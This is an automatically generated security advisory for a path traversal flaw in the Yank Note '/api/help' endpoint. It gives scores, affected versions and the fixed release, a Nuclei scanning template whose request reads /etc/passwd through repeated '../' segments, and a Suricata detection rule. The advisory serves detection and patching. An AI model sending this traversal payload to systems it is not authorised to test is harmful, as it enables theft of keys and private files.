VULNpocalypse

CVE-2026-111915: Yank Note before 3.93.1 Path Traversal via /api/help Endpoint

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Yank Note before 3.93.1 contains a path traversal vulnerability that allows unauthenticated remote attackers to read arbitrary files via the path or doc parameter of /api/help. Attackers can supply repeated ‘../‘ segments, which bypass the single-replacement sanitization in the publicly allowlisted endpoint, to read SSH keys, configuration, or notes.

Description quoted from the CVE record (assigned by VulnCheck, published 2026-10-19).

Weakness: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

How it can be exploited

Exploitable over the network with high attack complexity only when specific conditions are present needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: no. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-104318, GHSA-46p6-h3r3-3fvj

VEDAS cluster: VEDAS:DOGWOODDUGONG

Exploit Observer links 5 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (5)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (3)

Catalogue entries, not exploit evidence.

2 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.005
low predicted chance of attack
VEDAS
0.986
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
purocean Yank Notebefore 3.93.1Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Fixed versions stated in the CVE record: 3.93.1.

Vendor guidance:

How to detect it

Nuclei template (active check)

Yank Note - Path Traversal

Yank Note before 3.93.1 exposes an unauthenticated arbitrary file read on the publicly allowlisted GET /api/help endpoint. The handler sanitises the path (and doc) query parameter with a single JavaScript String.replace(‘../‘,’’) call, which removes only the first traversal segment, so repeated ../ sequences still escape the help directory. This template requests /api/help with a traversal payload in the path parameter and confirms the contents of /etc/passwd are returned to an unauthenticated caller.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /api/help?path=../../../../../../../../../../etc/passwd); it decides using regex, status matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-111915.yaml
Show the template (41 lines)
yaml
id: CVE-2026-111915

info:
  name: "Yank Note - Path Traversal"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Yank Note before 3.93.1 exposes an unauthenticated arbitrary file read on the publicly
    allowlisted GET /api/help endpoint. The handler sanitises the path (and doc) query
    parameter with a single JavaScript String.replace('../','') call, which removes only the
    first traversal segment, so repeated ../ sequences still escape the help directory. This
    template requests /api/help with a traversal payload in the path parameter and confirms
    the contents of /etc/passwd are returned to an unauthenticated caller.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-111915&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=yank-note&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-111915
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve,cve2026,yank-note,lfi,traversal,unauth

http:
  - raw:
      - |
        GET /api/help?path=../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Accept: application/octet-stream

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
      - type: status
        status:
          - 200

CVE-2026-111915.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-111915 Yank Note - Path Traversal. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-111915 Yank Note - Path Traversal"; flow:established,to_server; http.method; content:"GET"; http.uri.raw; content:"/api/help"; nocase; fast_pattern; pcre:"/[?&](?:path|doc)=[^&]*(?:\.\.(?:\x2f|%2f)|%2e%2e)/i"; classtype:web-application-attack; reference:cve,CVE-2026-111915; reference:url,https://www.exploit.observer/?keyword=CVE-2026-111915&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=yank-note&match=exact; sid:1084200; rev:1;)

CVE-2026-111915.rules on GitHub

References

Vendor advisories and patches

Exploits and technical analysis

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.